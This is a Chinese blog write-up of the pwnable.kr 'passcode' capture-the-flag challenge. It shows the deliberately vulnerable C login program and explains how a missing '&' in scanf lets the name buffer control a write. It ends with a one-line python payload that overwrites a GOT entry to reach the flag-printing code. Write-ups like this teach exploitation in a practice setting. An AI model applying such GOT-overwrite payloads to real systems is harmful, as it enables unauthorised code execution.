writeup-passcode

原创

charlie_heng 于 2016-11-22 21:23:34 发布 430 收藏

分类专栏： 二进制-逆向工程

Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)
题目如上

拿到题目，先分析下源码

代码如下

```c
#include <stdio.h>
#include <stdlib.h>

void login(){
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
        scanf("%d", passcode2);

    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
        exit(0);
        }
}

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}

int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");

    welcome();
    login();

    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;
}
```

看了下源码，貌似是要passcode1和passcode2等于338150 和 13371337

编译了一下，发现scanf那里没有加&，那写入的地址应该是随机的，完全没有头绪，先扔IDA和gdb一下

gdb调试了一下，发现读入的name最后四个字节就是passcode1的默认值（这里记得要上服务器把文件拖下来，自己编译的并没有这个漏洞）

有了这个漏洞还是不行，查了下别人wp，又补充了下基础知识。。。

got表覆写：http://blog.csdn.net/smalosnail/article/details/53247502

补充完知识之后就愉快的构造payload吧

python -c “print ‘A’ * 96 + ‘\x04’+’\xa0’+’\x04’+’\x08’ + str(0x80485e3)” |./passcode

然后拿到flag

Sorry mom.. I got confused about scanf usage :(